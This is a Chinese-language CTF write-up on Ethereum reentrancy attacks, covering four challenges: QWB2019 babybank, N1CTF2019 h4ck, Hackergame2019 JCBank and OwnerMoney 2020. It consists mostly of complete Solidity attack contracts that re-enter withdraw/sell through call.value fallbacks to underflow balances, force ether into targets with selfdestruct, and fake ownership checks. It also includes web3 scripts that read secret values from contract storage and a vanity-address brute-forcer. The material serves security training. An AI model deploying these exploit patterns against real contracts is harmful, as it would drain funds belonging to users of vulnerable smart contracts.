区块链重入攻击练习

QWB2019 babybank

反编译看一下

profit函数需要level==0地址后16位为0xb1b1,调用后level1,结果为level=1balance1,结果为balance=1

guess函数需要level==1secret==arg0,调用后level1,结果为level=2balance1,结果为balance=2

func_045C函数可以修改secret,但是要msg.sender==owner,但没找到修改owner的地方,不能利用

transfer函数需要balance==2arg0==2,把当前账号的balance转到指定地址

withdraw函数需要balance==2arg0==2,有call.value函数可以利用callback重入攻击使balance下溢

每个函数前都有

1
2
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }

只能通过销毁其他合约来强制实现转账

爆破账号以0xb1b1结尾

对于secret,找到合约部署者和合约的修改secret的交易,可以找到secret的值,或者使用web3查找storage3的值,该值即为secret

1
2
3
4
5
6
7
8
import web3
import codecs

w3=web3.Web3(web3.HTTPProvider("https://ropsten.infura.io/v3/54828bfa2cb14873a43512fd8d3fc24b"))

a=w3.eth.get_storage_at("0xD630cb8c3bbfd38d1880b8256eE06d168EE3859c",3)
print(codecs.encode(a,'hex').decode())
# 0000000000000000000000000000000000000000000000000003fde42988fa35

给创建合约通过销毁合约强制给目标合约转账

创建攻击合约,用之前的账号给合约转账,再调用合约进行攻击

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
contract hacker{
bool status;
babybank bb=babybank(0xD630cb8c3bbfd38d1880b8256eE06d168EE3859c);

function attack(){
bb.withdraw(2);
}

function()payable {
if(!status){
status=true;
bb.withdraw(2);
}
}

function payforflag(string md5ofteamtoken,string b64email){
bb.payforflag(md5ofteamtoken,b64email);
}
}

contract A{
address owner;

constructor(){
owner=msg.sender;
}

function getBalance()payable{}

function kill(address to){
require(owner==msg.sender);
selfdestruct(to);
}
}

N1CTF2019 h4ck

**_transferbalanceOf**的转账函数,没有漏洞

transfer是**_transfer**外部调用方法

buy函数需要balanceOf==0,并且需要转入1wei,调用成功后调用者的sellTimes=1balanceOf==1

sell需要调用者balanceOf>=amountsellTimes>0,且 amount>=100call.value函数可以进行重入攻击,调用一次后sellTimes1,重入让其下溢

首先,转入200wei调用buy使其balanceOf==1,再调用transfer把当前的balanceOf转到指定账号中,如此循环薅羊毛使指定账号balanceOf达到200

balanceOf200转到攻击合约,利用callback调用两次sell使攻击合约的sellTimes下溢

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
contract hacker{
challenge c = challenge(0xE2d6d8808087D2e30EAdF0ACb67708148dbee0C0);
address wallet=0x3C5D01C380F8D8581bE8E3b5De0a8f35420f7D68;
bool public status;

function attack()payable{
c.sell(100);
}

function hack1(uint times) payable{
for(uint i=0;i<times;i++){
c.buy.value(1)();
c.transfer(wallet,1);
}
}

function getValues()payable{

}

function winnerSubmit()payable{
c.winnerSubmit();
}

function setStatus(){
status=!status;
}

function()public payable{
if(!status){
status=!status;
c.sell(100);
}
}

}

Hackergame2019 JCBank

flag1

直接利用web3脚本查看合约的storagesecret,再调用get_flag_1得到第一个flag

1
2
3
4
5
6
7
import web3
from Crypto.Util.number import *

w3=web3.Web3(web3.HTTPProvider("https://kovan.infura.io/v3/xxx"))
a=w3.eth.get_storage_at("0xE575c9abD35Fa94F1949f7d559056bB66FddEB51",2)
print(bytes_to_long(a))
# 1940577538063170034860903343625652396

flag2

先调用deposit函数给目标合约转1wei

攻击合约也调用deposit给目标合约转1wei,此时攻击合约的balance1

利用call.value的重入攻击调用两次withdraw,参数为1,因为到达call.value函数时,balance的值未变动,利用callback函数再调用withdraw使balance向下溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
contract hacker{
address owner;
bool status;
uint amount;
JCBank jcb=JCBank(0xE575c9abD35Fa94F1949f7d559056bB66FddEB51);

constructor()payable{
owner=msg.sender;
jcb.deposit.value(msg.value)();
}

modifier onlyOwner{
require(msg.sender==owner);
_;
}

function attack(uint _amount){
amount = _amount;
jcb.withdraw(amount);
}

function get_flag_2(uint user_id)public onlyOwner{
jcb.get_flag_2(user_id);
}

function Status(){
status=!status;
}

function()public payable{
if(!status){
status=!status;
jcb.withdraw(amount);
}
}
}

高校战疫网络安全分享赛2020 OwnerMoney

反编译合约

sell函数调用了call.value,需要参数amount>=200buyTimes>0,调用者的balanceOf>=amount,合约的**balance>=_amount,调用后buyTimes减1**

目标是调用payforflag,需要buyTimes>=200,那么很明显利用call.value重入使buyTimes下溢即可完成攻击

buy函数可以使balanceOf=100buyTimes=1,但需要调用者的地址的后12位为0xfff,且调用者为合约和需要1wei

payforflag需要owner==msg.sender,利用下changechange_Ownerowner改为自己的地址

我们可以爆破部署第一个合约满足条件的账号

1
2
3
4
5
6
7
8
9
10
11
12
from ethereum import utils
import os

def generate_eoa2():
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))

while not utils.decode_addr(utils.mk_contract_address(addr, 0)).endswith("fff"):
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))

print('Address: {}\nPrivate Key: {}'.format(addr, priv.hex()))

参考pikachu师傅的脚本https://hitcxy.com/2020/generate-address/

爆破出四个账号,把其中三个账号部署的合约的balanceOf转账到剩下的账号部署的合约中,就能满足sell的条件

过程中发现目标合约没有balance,构造合约自销毁强转一些balance

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
contract A{
OwnerMoney om = OwnerMoney(0x40a590b70790930ceed4d148bf365eea9e8b35f4);
constructor()payable{
require(msg.value>=1 wei);
}
function attack(address to){
require(uint(to) & 0xfff == 0xfff);
bool s = om.buy.value(1 wei)();
if(s){
om.transfer(to,100);
}
}

function kill(){
selfdestruct(0x40a590b70790930ceed4d148bf365eea9e8b35f4);
}
}

contract hacker{
OwnerMoney om = OwnerMoney(0x40a590b70790930ceed4d148bf365eea9e8b35f4);
bool flag=true;
bool status;
constructor()payable{
require(msg.value == 1 wei);
bool s = om.buy.value(1 wei)();
require(s==true);
}

function isOwner(address) view public returns (bool){
flag=!flag;
return flag;
}

function attack(){
om.sell(200);
om.change(address(this));
om.change_Owner();
}

function payforflag(string b64email){
om.payforflag(b64email);
}

function()public payable{
if(!status){
status=!status;
om.sell(200);
}
}
}